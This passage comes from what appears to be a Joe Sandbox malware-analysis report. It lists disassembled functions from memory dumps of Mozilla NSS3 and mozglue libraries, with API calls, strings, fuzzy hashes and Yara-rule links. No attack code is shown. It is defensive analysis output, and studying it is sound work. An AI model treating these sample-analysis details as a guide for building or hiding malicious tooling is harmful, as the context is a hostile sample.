PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CB71006
PK11_FreeSymKey.NSS3(?), ref: 6CB7101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB71033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB7103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CB71048
memcpy.VCRUNTIME140(?,?,?), ref: 6CB7108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CB710BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CB710D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CB7112E

Part of subcall function 6CB71570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CB708C4,?,?), ref: 6CB715B8
Part of subcall function 6CB71570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CB708C4,?,?), ref: 6CB715C1
Part of subcall function 6CB71570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB7162E
Part of subcall function 6CB71570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB71637

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: bb334de6a57bd016143a8198d0bc4214585c5f39f665ccbaf08a937690dfcbd1
Instruction ID: a40187d2c257ac8444bd1e1d54fecbf9d303a0c55e3a1d2ff054b122d0ace1d9
Opcode Fuzzy Hash: bb334de6a57bd016143a8198d0bc4214585c5f39f665ccbaf08a937690dfcbd1
Instruction Fuzzy Hash: CF71E3B1A002858FDB10CFA5DC94A6EB7B4FF44318F18862DE92D9BB11E731D954CBA1

Function 6CA84EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CA84EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA84F2E
moz_xmalloc.MOZGLUE ref: 6CA84F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CA84F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA852B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA852E6
Sleep.KERNEL32(00000010), ref: 6CA85481
free.MOZGLUE(?), ref: 6CA85498

Strings

(, xrefs: 6CA85250

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8d6d4dbd6e0f293f43d8f7e9277b6419c5e8aad56f932684b54ed318c2b39a41
Instruction ID: 5ff24325a09305254aece4b8e44423f6c7a6156e31505e2a1c15daeb5f687844
Opcode Fuzzy Hash: 8d6d4dbd6e0f293f43d8f7e9277b6419c5e8aad56f932684b54ed318c2b39a41
Instruction Fuzzy Hash: 5EF1D271A19B028FC71ACF39C85062BB7F5AFD6284F05872EF846A7651DB31D846CB81

Function 6CB96C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB41C6F,00000000,00000004,?,?), ref: 6CB96C3F

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CB41C6F,00000000,00000004,?,?), ref: 6CB96C60
PR_ExplodeTime.NSS3(00000000,6CB41C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CB41C6F,00000000,00000004,?,?), ref: 6CB96C94

Strings

gfff, xrefs: 6CB96D9C
gfff, xrefs: 6CB96CF5
gfff, xrefs: 6CB96D66
gfff, xrefs: 6CB96D30
gfff, xrefs: 6CB96CFD

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: af01831cf1adf073fd3f89147ebe6e7dc384d61f9f33f9353a5e336e61d68b60
Instruction ID: bac2bbfaa643978dcafde429f8b1391565dcc2667653b72b659acbb3a7856426
Opcode Fuzzy Hash: af01831cf1adf073fd3f89147ebe6e7dc384d61f9f33f9353a5e336e61d68b60
Instruction Fuzzy Hash: C4513A72B016494FC718CDADDC526DEBBEAEBA5310F48C23AE842DB781D638D906C751

Function 6CAD0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CACCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB2F9C9,?,6CB2F4DA,6CB2F9C9,?,?,6CAF369A), ref: 6CACCA7A
Part of subcall function 6CACCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CACCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CAD103E
EnterCriticalSection.KERNEL32(?), ref: 6CAD1139
LeaveCriticalSection.KERNEL32(?), ref: 6CAD1190
sqlite3_free.NSS3(00000000), ref: 6CAD1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CAD126E
sqlite3_free.NSS3(?), ref: 6CAD127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CAD1267
winAccess, xrefs: 6CAD129B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 16f9e8e025c795dbb0c894332a197126159efeeacbc47d086e50392e28c9dbee
Instruction ID: 22dc6494203cceab6250fca625c63113b98591c880563834f2ca2b172d3c9ad5
Opcode Fuzzy Hash: 16f9e8e025c795dbb0c894332a197126159efeeacbc47d086e50392e28c9dbee
Instruction Fuzzy Hash: 91711D317042119BEB04DF65EC89A7E3375FB86334F19022DFA1687A80DB31E986C792

Function 6CADAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CBFCF46,?,6CACCDBD,?,6CBFBF31,?,?,?,?,?,?,?), ref: 6CADB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBFCF46,?,6CACCDBD,?,6CBFBF31), ref: 6CADB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CBFCF46,?,6CACCDBD,?,6CBFBF31), ref: 6CADB0A2
CloseHandle.KERNEL32(?,?,6CBFCF46,?,6CACCDBD,?,6CBFBF31,?,?,?,?,?,?,?,?,?), ref: 6CADB100
sqlite3_free.NSS3(?,?,00000002,?,6CBFCF46,?,6CACCDBD,?,6CBFBF31,?,?,?,?,?,?,?), ref: 6CADB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CBFCF46,?,6CACCDBD,?,6CBFBF31), ref: 6CADB12D

Part of subcall function 6CAC9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CADC6FD,?,?,?,?,6CB2F965,00000000), ref: 6CAC9F0E
Part of subcall function 6CAC9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB2F965,00000000), ref: 6CAC9F5D

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: ac4def5de0985c50085952763f0c36c5107c575f6b9bd87da6bfca751d3b08e9
Instruction ID: 20188b2a5cd88bfd3e586ba00f408dbaa9dba849a6c5765cda181e2fb93bb26f
Opcode Fuzzy Hash: ac4def5de0985c50085952763f0c36c5107c575f6b9bd87da6bfca751d3b08e9
Instruction Fuzzy Hash: 8091DFB0A04205CFDB04CF69D984A6BB7B2FF49308F19462DE41697A50EB31F985CB52

Function 6CC58D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCA14E4,6CC0CC70), ref: 6CC58D47
PR_GetCurrentThread.NSS3 ref: 6CC58D98

Part of subcall function 6CB30F00: PR_GetPageSize.NSS3(6CB30936,FFFFE8AE,?,6CAC16B7,00000000,?,6CB30936,00000000,?,6CAC204A), ref: 6CB30F1B
Part of subcall function 6CB30F00: PR_NewLogModule.NSS3(clock,6CB30936,FFFFE8AE,?,6CAC16B7,00000000,?,6CB30936,00000000,?,6CAC204A), ref: 6CB30F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CC58E7B
htons.WSOCK32(?), ref: 6CC58EDB
PR_GetCurrentThread.NSS3 ref: 6CC58F99
PR_GetCurrentThread.NSS3 ref: 6CC5910A

Strings

%u.%u.%u.%u, xrefs: 6CC58E74

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: c91cf3ff8cc041b4fedd4a47af8330bef98121d4efe652e52acee7e51f9a1fce
Instruction ID: 7aa06908f8faaca39295150bf3fd290ac0be44f6cdb3cb85bf6be20cabc8f71a
Opcode Fuzzy Hash: c91cf3ff8cc041b4fedd4a47af8330bef98121d4efe652e52acee7e51f9a1fce
Instruction Fuzzy Hash: 3B02DE31A061618FDB14CF19C45876BBBB3EF42304F99829EC8519FA91E331D976C794

Function 6CA72C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA72C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA72C61

Part of subcall function 6CA24DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA24E5A
Part of subcall function 6CA24DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA24E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA72C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA72E2D

Part of subcall function 6CA381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA381DE

Strings

(root), xrefs: 6CA7354F
ProfileBuffer parse error: %s, xrefs: 6CA72E3B
expected a Time entry, xrefs: 6CA72E36

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: b105dc4dd7ad714256ba27fa963a63aaf822f20608df648ea6c63a99d0ac8ecd
Instruction ID: e6fd50273e4897939f7fabe0254767bffd622529046e31d85a19f5dfc63a2b43
Opcode Fuzzy Hash: b105dc4dd7ad714256ba27fa963a63aaf822f20608df648ea6c63a99d0ac8ecd
Instruction Fuzzy Hash: A891FF74608741CFC724CF28C58469FB7E0BF89358F148A2DE59A8B751DB30D889CB62

Function 6CADEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

table, xrefs: 6CADF05C, 6CADFABC, 6CADFAC7
sqlite_temp_master, xrefs: 6CADF0A6, 6CADF2D5
view, xrefs: 6CADF061, 6CADF071, 6CADFAB7
%s %T already exists, xrefs: 6CADFAC8
not authorized, xrefs: 6CADF957, 6CADF9BA
there is already an index named %s, xrefs: 6CADF9D7
sqlite_master, xrefs: 6CADF0AB, 6CADF2DA, 6CADF757, 6CADF93E
temporary table name must be unqualified, xrefs: 6CADF734
authorizer malfunction, xrefs: 6CADF95C, 6CADF9BF, 6CADFA5E, 6CADFA8B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 348400a1d3fe41b681c160d98673236254eacf592cb188ea26242b40fc06a99c
Instruction ID: 57949ee8277254d7daf9d3f8c54cd1a101dd9eb90638a3c3c8aabb728bebdddf
Opcode Fuzzy Hash: 348400a1d3fe41b681c160d98673236254eacf592cb188ea26242b40fc06a99c
Instruction Fuzzy Hash: 2F72A670E042458FDB14CF68C884B9ABBF1FF49308F1A81ADD9159B752D775E886CB90

Function 6CA2D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6CA2DE7F
0, xrefs: 6CA2DC7F
0, xrefs: 6CA2D852
1, xrefs: 6CA2DBDD
, xrefs: 6CA2DA88
8, xrefs: 6CA2DC08
-, xrefs: 6CA2D7DD
@, xrefs: 6CA2DAF6

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 9d2c7b29d9f5aaba5c833bfa2c8a0948eda0344d4265e2dd50748e4f3b2000dd
Instruction ID: 3985127d9ef2425e1de39ded8b4b1559de2096da7215fa8cdadb178b2275fbca
Opcode Fuzzy Hash: 9d2c7b29d9f5aaba5c833bfa2c8a0948eda0344d4265e2dd50748e4f3b2000dd
Instruction Fuzzy Hash: 7F62AD7190C3A58FD715CF29C09075ABBF2AF86358F1C4A1DE8D54BA92C37998C5CB82

Function 6CA2BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA2C1CB
__aulldiv.LIBCMT ref: 6CA2C24C
__aulldiv.LIBCMT ref: 6CA2C348
__aullrem.LIBCMT ref: 6CA2C365
__aulldiv.LIBCMT ref: 6CA2C37D

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 4d7de10f3a9623a7fce36ca6905fd38ff907907dfbe6b8f7db1b89a14f21bff8
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 4E324532B086118FD718DE2CC890A56FBE6AFC9314F09866DE899CB395D734ED05CB91

Function 6CC5CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC5D086
PR_Malloc.NSS3(00000001), ref: 6CC5D0B9
PR_Free.NSS3(?), ref: 6CC5D138

Strings

>, xrefs: 6CC5CF5B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 1ed1765329f112027a302769bd1673fdc8363677da4f2fc55c200fd1dbbfe939
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 0FD17B22B417460BEB14487E8DA13EA77939786374FD80329D122DBBE5F65988B3C349

Function 6CA9545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA98A4B

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d706338c1868054f658665c941ed749b234b9a99a9585987e8704515d86c4cb7
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 9BB1D672A0121A8FDB14CF68CD927E9B7F2EF95314F1802A9C549EB781D73099C9CB91

Function 6CA9542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA988F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA9925C

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 755208075b5b9b78ba0acefe3c57e16f616413ce0cc73c829f42b9030c7330a5
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: C4B1C576A0020A8FCB14CF68C9826EDB7F2AF85314F180269C549DB785D730A9C9CB90

Function 6CBFAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5637ad0faabb37b3b2802218ff7ccb2a91a7894b4c7e6e59776d8a77c8964b77
Instruction ID: 512e7b1f51b7ed20404d60fdbf4769679219d93c459d53060a47bae0fd4432c5
Opcode Fuzzy Hash: 5637ad0faabb37b3b2802218ff7ccb2a91a7894b4c7e6e59776d8a77c8964b77
Instruction Fuzzy Hash: 3AF1BC71E012968FEB04CFA8D9443AD77B0FB8A308F15422DD915D7B54EB70999ACBC1

Function 6CA66CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA66D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA66E1E

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 690c97c2046d4c7d230feb0fff775192952f6c8c353d92f6ea6d00036ba095da
Instruction ID: d9586506296b490c395422cdc0590bb0855af8969f9e451c8233276e3083d15e
Opcode Fuzzy Hash: 690c97c2046d4c7d230feb0fff775192952f6c8c353d92f6ea6d00036ba095da
Instruction Fuzzy Hash: 43A170746183858FC715CF25C5907AEFBF1BF89308F45891DE48A87B51DB70A889CB92

Function 6CA885F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA88C7C
